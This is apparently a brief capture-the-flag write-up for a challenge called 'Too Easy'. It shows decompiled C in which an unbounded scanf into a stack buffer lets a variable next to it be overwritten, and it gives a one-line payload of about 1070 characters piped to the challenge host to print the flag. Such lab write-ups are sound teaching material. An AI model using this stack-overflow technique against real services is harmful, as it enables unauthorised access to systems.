100 WCSCCTF Too Easy

This one as the name suggests, was incredibly easy and honestly probably worth too many points, but here's a writeup regardless.

So we are given a binary tooEasy and was told that
| Challenge by: nullp0inter | This one is almost too easy, get the flag! | nc wcscctf.org 8383

Opening up the binary in ida we see two functions of note, main and det, generated c code at the bottom of this post.

In main buffer is allocated to 0x424 (or (1060)10 in decimal)

The variable (not originally named this) called overWriteThisSheet is allocated right after buffer.
overWriteThisSheet = 56797; happens in main.

Now looking at det we see that overWriteThisShit is passed to the function and has a simple check to see if it is the originally set value, 56797.

So even though the python script to run this like a normal exploit, it would be easier to just use python -c '"a"*1070' and pipe the output to nc wcscctf.org 8383

int  main(int argc, const char **argv, const char **envp)  
  char buffer; // [sp+4h] [bp-424h]
  int overWriteThisSheet; // [sp+41Ch] [bp-Ch]

  overWriteThisSheet = 56797;
  __isoc99_scanf("%s", &buffer);
  return 1;
void det(int overWriteThisSheet)  
  char buf; // [sp+Ch] [bp-8Ch]@2
  int fd; // [sp+8Ch] [bp-Ch]@2

  if ( overWriteThisSheet != 56797 )
    puts("GZ, you win!");
    fd = open("./flag.txt", 0);
    read(fd, &buf, 0x80u);
    printf("%s", &buf);
Press ` to check out my sick terminal!